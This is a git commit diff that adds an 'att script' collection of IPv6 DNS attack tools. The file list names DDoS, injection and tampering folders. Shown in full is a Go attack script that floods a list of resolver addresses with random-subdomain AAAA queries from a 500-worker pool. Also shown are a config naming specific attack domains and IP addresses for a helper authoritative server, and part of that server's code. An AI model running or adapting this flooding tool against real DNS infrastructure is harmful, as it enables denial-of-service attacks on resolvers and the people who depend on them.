summaryrefslogtreecommitdiff
path: root/att script
diff options
context:
space:
mode:
Diffstat (limited to 'att script')
-rw-r--r--att script/4(v6 DDoS)/code/攻击脚本/go.mod21
-rw-r--r--att script/4(v6 DDoS)/code/攻击脚本/go.sum46
-rw-r--r--att script/4(v6 DDoS)/code/攻击脚本/main.go49
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/Ohmyfile4
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/core/core.go5
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/address.go86
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/config.go105
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/https.go29
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/onstartup.go60
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/register.go328
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/server.go456
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/server_grpc.go180
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/server_https.go209
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/server_tls.go102
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/view.go19
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/zdirectives.go21
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/core/plug/zplugin.go17
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/address.go85
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/onstartup.go54
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/pdirectives.go15
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/prober_args.go10
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/prober_http.go285
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/prober_serve.go405
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/register.go209
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/go.mod36
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/go.sum111
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/ohmain/run.go187
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/ohmain/version.go7
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/ohmydns.go12
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin.cfg9
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/atk/atk.go127
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/atk/atkutil.go23
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/atk/atkutil_test.go55
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/atk/setup.go49
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/debug/debug.go23
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/debug/pcap.go71
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/dnstap.go60
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/encoder.go40
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/io.go143
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/msg/msg.go97
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/setup.go131
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/writer.go39
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/dnstap.go64
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/forward.go250
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/metric.go24
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/policy.go68
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/setup.go291
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/log/README.md4
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/log/log.go72
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/log/setup.go101
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/metadata/README.md43
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/metadata/metadata.go42
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/metadata/provider.go89
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/metadata/setup.go45
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/normalize.go179
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/README.md1
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/cidr/cidr.go82
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/dnstest/multirecorder.go40
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/dnstest/recorder.go52
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/dnstest/server.go64
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/dnsutil/reverse.go81
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/dnsutil/ttl.go51
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/doh/doh.go133
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/edns/edns.go70
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/http/http.go39
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/listener.go139
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/log.go113
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/plugin.go91
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/log/runtime.go12
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/nonwriter/nonwriter.go19
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/parse/host.go121
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/parse/parse.go37
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/parse/transport.go36
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/args.go30
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/prober.go150
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/prober_config.go129
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/prober_meta.go11
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/proberandgoroutlist.go96
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/prober/proberutil.go78
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/connect.go157
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/error.go24
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/health.go130
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/metric.go49
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/persistent.go157
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/proxy.go107
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/type.go40
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/rand/rand.go34
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/rcode/rcode.go15
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/replacer/replacer.go275
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/request/README.md1
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/request/edns0.go30
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/request/http_request.go25
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/request/request.go362
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/request/writer.go21
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/response/classify.go61
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/response/type.go150
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/reuseport/listen_no_reuseport.go13
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/reuseport/listen_reuseport.go35
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/tls/tls.go149
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/trace/trace.go7
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/transport/transport.go26
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/uniq/uniq.go46
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/up/up.go80
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/plugin.go109
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/plugin_prober.go99
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prober/probe53/probe53.go27
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prober/probe53/setup.go23
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prober/qname/qname.go89
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prober/qname/qnameutil.go13
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prober/qname/setup.go27
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/context.go36
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/handler.go56
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/metrics.go170
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/recorder.go27
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/registry.go28
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/setup.go106
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/vars/monitor.go34
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/vars/report.go32
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/prometheus/vars/vars.go88
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/register.go19
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/whoami/setup.go22
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin/whoami/whoami.go56
-rw-r--r--att script/4(v6 DDoS)/code/辅助权威服务器/plugin_gen.go126
-rw-r--r--att script/4(v6 DDoS)/说明文档.docxbin0 -> 275082 bytes
-rw-r--r--att script/5(v6注入)/code/attack.sh3
-rw-r--r--att script/5(v6注入)/code/dns_OPT.binbin0 -> 11 bytes
-rw-r--r--att script/5(v6注入)/code/dns_end.binbin0 -> 5 bytes
-rw-r--r--att script/5(v6注入)/code/dns_query.sh8
-rw-r--r--att script/5(v6注入)/code/dns_start.binbin0 -> 10 bytes
-rw-r--r--att script/5(v6注入)/code/src/fakedns6/attack.go685
-rw-r--r--att script/5(v6注入)/code/src/fakedns6/dns.go261
-rw-r--r--att script/5(v6注入)/code/src/fakedns6/go.mod15
-rw-r--r--att script/5(v6注入)/code/src/fakedns6/go.sum25
-rw-r--r--att script/5(v6注入)/code/src/fakedns6/ipv6util.go103
-rw-r--r--att script/5(v6注入)/code/src/fakedns6/library.go171
-rw-r--r--att script/5(v6注入)/code/src/flood/go.mod20
-rw-r--r--att script/5(v6注入)/code/src/flood/go.sum38
-rw-r--r--att script/5(v6注入)/code/src/flood/ipv6util.go103
-rw-r--r--att script/5(v6注入)/code/src/flood/main.go192
-rw-r--r--att script/5(v6注入)/code/start.sh38
-rw-r--r--att script/5(v6注入)/说明文档.docxbin0 -> 86446 bytes
-rw-r--r--att script/6(v6篡改)/code/attack.sh3
-rw-r--r--att script/6(v6篡改)/code/dns_OPT.binbin0 -> 11 bytes
-rw-r--r--att script/6(v6篡改)/code/dns_end.binbin0 -> 5 bytes
-rw-r--r--att script/6(v6篡改)/code/dns_query.sh8
-rw-r--r--att script/6(v6篡改)/code/dns_start.binbin0 -> 10 bytes
-rw-r--r--att script/6(v6篡改)/code/src/fakedns6/attack.go685
-rw-r--r--att script/6(v6篡改)/code/src/fakedns6/dns.go261
-rw-r--r--att script/6(v6篡改)/code/src/fakedns6/go.mod15
-rw-r--r--att script/6(v6篡改)/code/src/fakedns6/go.sum25
-rw-r--r--att script/6(v6篡改)/code/src/fakedns6/ipv6util.go103
-rw-r--r--att script/6(v6篡改)/code/src/fakedns6/library.go171
-rw-r--r--att script/6(v6篡改)/code/src/flood/go.mod20
-rw-r--r--att script/6(v6篡改)/code/src/flood/go.sum38
-rw-r--r--att script/6(v6篡改)/code/src/flood/ipv6util.go103
-rw-r--r--att script/6(v6篡改)/code/src/flood/main.go192
-rw-r--r--att script/6(v6篡改)/code/start.sh38
-rw-r--r--att script/6(v6篡改)/说明文档.docxbin0 -> 87452 bytes
158 files changed, 13472 insertions, 0 deletions
diff --git a/att script/4(v6 DDoS)/code/攻击脚本/go.mod b/att script/4(v6 DDoS)/code/攻击脚本/go.mod
new file mode 100644
index 0000000..e0c53cc
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/攻击脚本/go.mod
@@ -0,0 +1,21 @@
+module prober
+
+go 1.20
+
+require (
+ github.com/miekg/dns v1.1.55
+ github.com/panjf2000/ants/v2 v2.8.2
+ github.com/schollz/progressbar/v3 v3.13.1
+ github.com/thanhpk/randstr v1.0.6
+)
+
+require (
+ github.com/mattn/go-runewidth v0.0.14 // indirect
+ github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect
+ github.com/rivo/uniseg v0.2.0 // indirect
+ golang.org/x/mod v0.7.0 // indirect
+ golang.org/x/net v0.2.0 // indirect
+ golang.org/x/sys v0.6.0 // indirect
+ golang.org/x/term v0.6.0 // indirect
+ golang.org/x/tools v0.3.0 // indirect
+)
diff --git a/att script/4(v6 DDoS)/code/攻击脚本/go.sum b/att script/4(v6 DDoS)/code/攻击脚本/go.sum
new file mode 100644
index 0000000..341b6e3
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/攻击脚本/go.sum
@@ -0,0 +1,46 @@
+github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
+github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/k0kubun/go-ansi v0.0.0-20180517002512-3bf9e2903213/go.mod h1:vNUNkEQ1e29fT/6vq2aBdFsgNPmy8qMdSay1npru+Sw=
+github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
+github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU=
+github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
+github.com/miekg/dns v1.1.55 h1:GoQ4hpsj0nFLYe+bWiCToyrBEJXkQfOOIvFGFy0lEgo=
+github.com/miekg/dns v1.1.55/go.mod h1:uInx36IzPl7FYnDcMeVWxj9byh7DutNykX4G9Sj60FY=
+github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ=
+github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw=
+github.com/panjf2000/ants/v2 v2.8.2 h1:D1wfANttg8uXhC9149gRt1PDQ+dLVFjNXkCEycMcvQQ=
+github.com/panjf2000/ants/v2 v2.8.2/go.mod h1:7ZxyxsqE4vvW0M7LSD8aI3cKwgFhBHbxnlN8mDqHa1I=
+github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
+github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
+github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
+github.com/schollz/progressbar/v3 v3.13.1 h1:o8rySDYiQ59Mwzy2FELeHY5ZARXZTVJC7iHD6PEFUiE=
+github.com/schollz/progressbar/v3 v3.13.1/go.mod h1:xvrbki8kfT1fzWzBT/UZd9L6GA+jdL7HAgq2RFnO6fQ=
+github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
+github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
+github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
+github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
+github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
+github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
+github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8=
+github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
+github.com/thanhpk/randstr v1.0.6 h1:psAOktJFD4vV9NEVb3qkhRSMvYh4ORRaj1+w/hn4B+o=
+github.com/thanhpk/randstr v1.0.6/go.mod h1:M/H2P1eNLZzlDwAzpkkkUvoyNNMbzRGhESZuEQk3r0U=
+golang.org/x/mod v0.7.0 h1:LapD9S96VoQRhi/GrNTqeBJFrUjs5UHCAtTlgwA5oZA=
+golang.org/x/mod v0.7.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
+golang.org/x/net v0.2.0 h1:sZfSu1wtKLGlWI4ZZayP0ck9Y73K1ynO6gqzTdBVdPU=
+golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY=
+golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E=
+golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=
+golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.6.0 h1:MVltZSvRTcU2ljQOhs94SXPftV6DCNnZViHeQps87pQ=
+golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/term v0.6.0 h1:clScbb1cHjoCkyRbWwBEUZ5H/tIFu5TAXIqaZD0Gcjw=
+golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U=
+golang.org/x/tools v0.3.0 h1:SrNbZl6ECOS1qFzgTdQfWXZM9XBkiA6tkFrH9YSTPHM=
+golang.org/x/tools v0.3.0/go.mod h1:/rWhSS2+zyEVwoJf8YAX6L2f0ntZ7Kn/mGgAWcipA5k=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
+gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/att script/4(v6 DDoS)/code/攻击脚本/main.go b/att script/4(v6 DDoS)/code/攻击脚本/main.go
new file mode 100644
index 0000000..c4eef91
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/攻击脚本/main.go
@@ -0,0 +1,49 @@
+package main
+
+import (
+ "github.com/miekg/dns"
+ "github.com/panjf2000/ants/v2"
+ "github.com/schollz/progressbar/v3"
+ "github.com/thanhpk/randstr"
+ "os"
+ "strconv"
+ "strings"
+ "sync"
+)
+
+// 攻击
+func main() {
+ defer ants.Release()
+
+ var wg sync.WaitGroup
+
+ p, _ := ants.NewPool(500, ants.WithPreAlloc(true))
+
+ c := new(dns.Client)
+ args := os.Args
+ qname := args[1]
+ runcount, _ := strconv.Atoi(args[2])
+ bar := progressbar.Default(int64(runcount*len(args[3:])), "发包进度")
+ for i := runcount; i > 0; i-- {
+ for _, v := range args[3:] {
+ wg.Add(1)
+
+ fqdn := strings.ToLower(randstr.String(10)) + "." + qname
+ msg := dns.Msg{}
+ msg.SetQuestion(fqdn, dns.TypeAAAA)
+ vi := v + ":53"
+
+ _ = p.Submit(
+ func() {
+ _, _, err := c.Exchange(&msg, vi)
+ wg.Done()
+ if err != nil {
+ return
+ }
+ })
+ bar.Add(1)
+ }
+ }
+ wg.Wait()
+ print("完成!!")
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/Ohmyfile b/att script/4(v6 DDoS)/code/辅助权威服务器/Ohmyfile
new file mode 100644
index 0000000..f050ea7
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/Ohmyfile
@@ -0,0 +1,4 @@
+
+.:53 {
+ atk adns comm.n64.top. nsatk.n64.top. 8.210.161.5 v6.natk.club. nsv6.natk.club. 240b:4001:21b:d300:c4b4:9a3a:6d21:62ae 30
+} \ No newline at end of file
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/core/core.go b/att script/4(v6 DDoS)/code/辅助权威服务器/core/core.go
new file mode 100644
index 0000000..e7ea97f
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/core/core.go
@@ -0,0 +1,5 @@
+package core
+
+// 注册服务并导入所有插件
+import _ "ohmydns2/core/dnsserver"
+import _ "ohmydns2/core/prober"
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/address.go b/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/address.go
new file mode 100644
index 0000000..872e44c
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/address.go
@@ -0,0 +1,86 @@
+package dnsserver
+
+import (
+ "fmt"
+ "net"
+ "strings"
+)
+
+type zoneAddr struct {
+ Zone string
+ Port string
+ Transport string // dns, tls or grpc
+ Address string // used for bound zoneAddr - validation of overlapping
+}
+
+// String returns the string representation of z.
+func (z zoneAddr) String() string {
+ s := z.Transport + "://" + z.Zone + ":" + z.Port
+ if z.Address != "" {
+ s += " on " + z.Address
+ }
+ return s
+}
+
+// SplitProtocolHostPort splits a full formed address like "dns://[::1]:53" into parts.
+func SplitProtocolHostPort(address string) (protocol string, ip string, port string, err error) {
+ parts := strings.Split(address, "://")
+ switch len(parts) {
+ case 1:
+ ip, port, err := net.SplitHostPort(parts[0])
+ return "", ip, port, err
+ case 2:
+ ip, port, err := net.SplitHostPort(parts[1])
+ return parts[0], ip, port, err
+ default:
+ return "", "", "", fmt.Errorf("provided value is not in an address format : %s", address)
+ }
+}
+
+type zoneOverlap struct {
+ registeredAddr map[zoneAddr]zoneAddr // each zoneAddr is registered once by its key
+ unboundOverlap map[zoneAddr]zoneAddr // the "no bind" equiv ZoneAddr is registered by its original key
+}
+
+func newOverlapZone() *zoneOverlap {
+ return &zoneOverlap{registeredAddr: make(map[zoneAddr]zoneAddr), unboundOverlap: make(map[zoneAddr]zoneAddr)}
+}
+
+// registerAndCheck adds a new zoneAddr for validation, it returns information about existing or overlapping with already registered
+// we consider that an unbound address is overlapping all bound addresses for same zone, same port
+func (zo *zoneOverlap) registerAndCheck(z zoneAddr) (existingZone *zoneAddr, overlappingZone *zoneAddr) {
+ existingZone, overlappingZone = zo.check(z)
+ if existingZone != nil || overlappingZone != nil {
+ return existingZone, overlappingZone
+ }
+ // there is no overlap, keep the current zoneAddr for future checks
+ zo.registeredAddr[z] = z
+ zo.unboundOverlap[z.unbound()] = z
+ return nil, nil
+}
+
+// check validates a zoneAddr for overlap without registering it
+func (zo *zoneOverlap) check(z zoneAddr) (existingZone *zoneAddr, overlappingZone *zoneAddr) {
+ if exist, ok := zo.registeredAddr[z]; ok {
+ // exact same zone already registered
+ return &exist, nil
+ }
+ uz := z.unbound()
+ if already, ok := zo.unboundOverlap[uz]; ok {
+ if z.Address == "" {
+ // current is not bound to an address, but there is already another zone with a bind address registered
+ return nil, &already
+ }
+ if _, ok := zo.registeredAddr[uz]; ok {
+ // current zone is bound to an address, but there is already an overlapping zone+port with no bind address
+ return nil, &uz
+ }
+ }
+ // there is no overlap
+ return nil, nil
+}
+
+// unbound returns an unbound version of the zoneAddr
+func (z zoneAddr) unbound() zoneAddr {
+ return zoneAddr{Zone: z.Zone, Address: "", Port: z.Port, Transport: z.Transport}
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/config.go b/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/config.go
new file mode 100644
index 0000000..b3a3871
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/config.go
@@ -0,0 +1,105 @@
+package dnsserver
+
+import (
+ "context"
+ "crypto/tls"
+ "fmt"
+ "net/http"
+ "ohmydns2/plugin"
+ "ohmydns2/plugin/pkg/request"
+ "time"
+
+ "github.com/coredns/caddy"
+)
+
+// Config configuration for a single server.
+type Config struct {
+ // The zone of the site.
+ Zone string
+
+ // one or several hostnames to bind the server to.
+ // defaults to a single empty string that denote the wildcard address
+ ListenHosts []string
+
+ // The port to listen on.
+ Port string
+
+ // Root points to a base directory we find user defined "things".
+ // First consumer is the file plugin to looks for zone files in this place.
+ Root string
+
+ // Debug controls the panic/recover mechanism that is enabled by default.
+ Debug bool
+
+ // Stacktrace controls including stacktrace as part of log from recover mechanism, it is disabled by default.
+ Stacktrace bool
+
+ // The transport we implement, normally just "dns" over TCP/UDP, but could be
+ // DNS-over-TLS or DNS-over-gRPC.
+ Transport string
+
+ // If this function is not nil it will be used to inspect and validate
+ // HTTP requests. Although this isn't referenced in-tree, external plugins
+ // may depend on it.
+ HTTPRequestValidateFunc func(*http.Request) bool
+
+ // FilterFuncs is used to further filter access
+ // to this handler. E.g. to limit access to a reverse zone
+ // on a non-octet boundary, i.e. /17
+ FilterFuncs []FilterFunc
+
+ // ViewName is the name of the Viewer PLugin defined in the Config
+ ViewName string
+
+ // TLSConfig when listening for encrypted connections (gRPC, DNS-over-TLS).
+ TLSConfig *tls.Config
+
+ // Timeouts for TCP, TLS and HTTPS servers.
+ ReadTimeout time.Duration
+ WriteTimeout time.Duration
+ IdleTimeout time.Duration
+
+ // TSIG secrets, [name]key.
+ TsigSecret map[string]string
+
+ // Plugin stack.
+ Plugin []plugin.Plugin
+
+ // Compiled plugin stack.
+ pluginChain plugin.Handler
+
+ // Plugin interested in announcing that they exist, so other plugin can call methods
+ // on them should register themselves here. The name should be the name as return by the
+ // Handler's Name method.
+ registry map[string]plugin.Handler
+
+ // firstConfigInBlock is used to reference the first config in a server block, for the
+ // purpose of sharing single instance of each plugin among all zones in a server block.
+ firstConfigInBlock *Config
+
+ // metaCollector references the first MetadataCollector plugin, if one exists
+ metaCollector MetadataCollector
+}
+
+// FilterFunc is a function that filters requests from the Config
+type FilterFunc func(context.Context, *request.Request) bool
+
+// keyForConfig builds a key for identifying the configs during setup time
